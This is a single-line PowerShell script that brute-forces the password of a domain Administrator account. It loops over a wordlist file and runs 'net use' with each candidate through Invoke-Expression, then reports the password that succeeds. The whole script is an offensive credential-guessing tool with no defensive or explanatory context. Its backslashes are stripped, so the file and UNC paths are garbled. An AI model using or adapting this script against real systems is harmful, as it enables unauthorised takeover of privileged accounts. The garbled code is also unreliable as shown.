$userVar = Get-ChildItem env:username $uname = 'Administrator@ahyalandunya.corp' $computerVar = Get-ChildItem env:computername $computerName = $computerVar.Value $ErrorActionPreference = "Stop" $hooray = "PasswordNotFound" $CurrentPath = "C:UsersikAppDataLocalTempRar$DIa5092.47893ADREcon-Report-20240326192201CSV-Files" $FileName = "word.txt" $FName= "$CurrentPath$FileName" $count = 1 foreach($value in [System.IO.File]::ReadLines($Fname)) { $count = $count + 1 $passAttempt = ('net use \' + $computerName + ' "' + $value + '" ' + '/u:' + $uname ) try { Write-Output ("trying password " + $value) $output = Invoke-Expression $passAttempt | Out-Null $hooray = $value write-output ("FOUND the user password: " + $value) break } catch { } } write-host "The Password is: " $hooray write-host "tried " $count " passwords"